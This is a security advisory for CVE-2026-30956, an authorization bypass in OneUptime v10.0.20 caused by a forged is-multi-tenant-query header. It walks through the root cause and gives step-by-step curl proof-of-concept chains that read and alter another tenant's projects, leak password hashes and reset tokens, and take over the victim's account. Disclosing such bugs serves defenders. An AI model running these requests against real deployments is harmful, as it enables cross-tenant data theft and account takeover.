CVE-2026-30956: OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header. Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled. This allows attackers to: 1. Access project data belonging to other tenants 2.
Published Mar 10, 2026
Affected packages
@oneuptime/common
- Ecosystem
- npm
- Affected
- < 10.0.21
- Fixed in
- 10.0.21
- Check
npm ls @oneuptime/common
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
- Access project data belonging to other tenants
- Read sensitive User fields via nested relations
- Leak plaintext resetPasswordToken
- Reset the victim’s password and fully take over the account
This results in cross‑tenant data exposure and full account takeover.
Details
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts
if (req.headers["is-multi-tenant-query"]) {
props.isMultiTenantRequest = true;
}BasePermission.ts
if (!props.isMultiTenantRequest) {
TablePermission.checkTableLevelPermissions(...)
QueryPermission.checkQueryPermission(...)
SelectPermission.checkSelectPermission(...)
}When the attacker sends:
is-multi-tenant-query: truethe system skips all authorization checks including:
- Table permission validation
- Query permission validation
- Select permission validation
- Tenant isolation enforcement
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with:
@MultiTenentQueryAllowed(true)allow cross-tenant queries when the header is present.
The Project model contains a relation:
createdByUserBecause select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:
password
resetPasswordToken
webauthnChallengeReset token stored in plaintext
In the password reset flow:
Authentication.ts
resetPasswordToken: tokenThe reset token is stored in plaintext in the database.
During password reset:
/api/identity/reset-passwordthe server validates the provided token directly.
If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
- Attacker bypasses tenant isolation using is-multi-tenant-query
- Attacker reads victim project
- Attacker selects createdByUser.resetPasswordToken
- Attacker triggers forgot-password for victim
- Attacker retrieves the fresh token via the same query
- Attacker calls /api/identity/reset-password
- Attacker sets a new password
- Attacker logs in as victim
This results in full account takeover.
PoC
Setup:
- Local OneUptime v10.0.20 instance
- Two normal accounts:
- Attacker account owns Project A (
7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (
88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email[email protected]
---
Chain 1: Direct Project Isolation Bypass
1. Read isolation bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {},
"select": {
"_id": true,
"name": true,
"createdOwnerEmail": true
}
}'Result: Returns both the attacker's and victim's projects:
{
"data": [
{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"name": "Victim Project",
"createdOwnerEmail": { "value": "[email protected]" }
},
{
"_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
"name": "Attacker Project",
"createdOwnerEmail": { "value": "[email protected]" }
}
],
"count": 2
}- Write isolation bypass
Victim project name is initially: Victim Project ORIGINAL
curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{"name":"Victim Project EXPLOIT"}'Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.
Chain 2: Account Takeover via Credential Leakage
- Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
-H "content-type: application/json" \
-d "{\"email\":\"[email protected]\"}"- Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
"select": {
"_id": true,
"createdByUser": {
"email": true,
"password": true,
"resetPasswordToken": true
}
}
}'Result: Sensitive user data is exposed:
{
"data": [{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"createdByUser": {
"email": {"value": "[email protected]"},
"password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
}
}]
}- Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
-H "content-type: application/json" \
-d '{
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
"password": "AttackerChosenPassword123!"
}'
# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
-H "content-type: application/json" \
-d '{
"email": "[email protected]",
"password": "AttackerChosenPassword123!"
}'Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.
Result: Victim project name is updated despite the attacker not being a member of the victim project.
Impact
This vulnerability allows a low‑privileged authenticated user to:
- bypass tenant isolation
- access other tenant projects
- read sensitive user credential fields
- leak plaintext reset tokens
- reset victim passwords
- fully take over victim accounts
Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.
Credited to Zwique.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-30957
OneUptime has Synthetic Monitor RCE via exposed Playwright browser object
critical9.9Mar 10, 2026CVE-2026-30887
OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE
critical9.9Mar 7, 2026CVE-2026-30921
OneUptime: Synthetic Monitor RCE via exposed Playwright browser object
critical9.9Mar 7, 2026CVE-2026-27728
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
critical9.9Feb 25, 2026CVE-2026-27574
OneUptime:: node:vm sandbox escape in probe allows any project member to achieve RCE
critical9.9Feb 24, 2026
